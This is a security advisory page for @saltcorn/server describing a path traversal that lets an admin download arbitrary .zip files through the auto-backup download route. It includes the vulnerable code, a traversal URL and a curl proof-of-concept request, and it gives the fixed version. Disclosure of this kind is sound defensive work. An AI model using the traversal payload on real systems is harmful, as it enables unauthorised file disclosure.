GHSA-277h-px4m-62q8: @saltcorn/server arbitrary file zip read and download when downloading auto backups
Summary A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to res.download API.
Published Oct 3, 2024 · Updated Oct 4, 2024
Affected packages
@saltcorn/server
- Ecosystem
- npm
- Affected
- <= 1.0.0-beta.13
- Fixed in
- 1.0.0-beta.14
- Check
npm ls @saltcorn/server
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to res.download API.
Details
- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682
router.get(
"/auto-backup-download/:filename",
isAdmin,
error_catcher(async (req, res) => {
const { filename } = req.params; // [1] source
[...]
if (
!isRoot ||
!(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2]
) {
res.redirect("/admin/backup");
return;
}
const auto_backup_directory = getState().getConfig("auto_backup_directory");
res.download(path.join(auto_backup_directory, filename), filename); // [3] sink
})
);Steps to reproduce (PoC)
- create a file with
.zipextension under/tmpfolder:
echo "secret12345" > /tmp/secret.zip- log into the application as an admin user
- visit the url
http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip - download the zip file and then check if the zip was indeed downloaded:
cat secret.zip
secret12345- Alternatively send the following request to retrieve the file just created.
curl -i -X $'GET' \
-H $'Host: localhost:3000' \
-H $'Connection: close' \
-b $'connect.sid=VALID_CONNECT_SID_COOKIE' \
$'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'NOTE: To obtain a valid connect.sid cookie, just open the developer console while logged and retrieve the cookie value.
Impact
Arbitrary zip files download (information disclosure).
Recommended Mitigation
Resolve the filename parameter before checking if it starts with backup_file_prefix .
Credited to dellalibera.
References
- https://github.com/saltcorn/saltcorn/security/advisories/GHSA-277h-px4m-62q8
- https://github.com/saltcorn/saltcorn/commit/024f19a7e079913f62f4a2335ab04116ddb68192
- https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682
- https://github.com/advisories/GHSA-277h-px4m-62q8
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-41478
Saltcorn: SQL Injection via Unparameterized Sync Endpoints (maxLoadedId)
critical9.9Apr 16, 2026CVE-2026-42259
Saltcorn: Open Redirect in `POST /auth/login` due to incomplete `is_relative_url` validation (backslash bypass)
medium5.1Apr 16, 2026CVE-2026-40163
Saltcorn has an Unauthenticated Path Traversal in sync endpoints, allowing arbitrary file write and directory read
high8.2Apr 10, 2026GHSA-cr3w-cw5w-h3fj
Saltcorn's Reflected XSS and Command Injection vulnerabilities can be chained for 1-click-RCE
critical9.6Jan 26, 2026CVE-2024-47818
Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability
high6.5Oct 7, 2024GHSA-pf56-h9qf-rxq4
Saltcorn Server Stored Cross-Site Scripting (XSS) in event logs page
medium6.1Oct 7, 2024
